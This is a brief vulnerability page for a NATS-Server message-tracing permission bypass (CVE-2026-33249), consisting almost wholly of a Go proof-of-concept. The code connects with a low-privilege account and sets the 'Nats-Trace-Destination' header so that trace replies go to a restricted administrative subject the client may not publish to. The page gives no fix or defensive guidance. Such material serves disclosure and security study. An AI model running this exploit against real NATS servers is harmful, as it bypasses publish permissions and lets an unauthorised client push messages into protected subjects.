CVE-2026-33249 NATS-Server消息追踪权限绕过漏洞

package main import ( "fmt" "github.com/nats-io/nats.go" ) // Conceptual Proof of Concept for CVE-2026-33249 // This demonstrates how a client might attempt to redirect trace messages. func main() { // 1. Connect to the vulnerable NATS server // Note: Requires a valid user account (Low Privilege) nc, err := nats.Connect("nats://localhost:4222") if err != nil { panic(err) } defer nc.Close() // 2. Define a target subject the client is NOT allowed to publish to // For example, a sensitive administrative subject restrictedSubject := "admin.system.alerts" // 3. Create a message with a tracing header // The vulnerability allows the client to dictate where the trace goes msg := nats.NewMsg("service.request") // Setting a custom header to exploit the tracing logic msg.Header.Set("Nats-Trace-Destination", restrictedSubject) // 4. Publish the message // In vulnerable versions, the server sends a trace reply to 'restrictedSubject' // without checking if the client has publish permissions for that subject. err = nc.PublishMsg(msg) if err != nil { fmt.Println("Publish error:", err) } else { fmt.Printf("Successfully published message. Trace may have been sent to restricted subject: %s\n", restrictedSubject) } }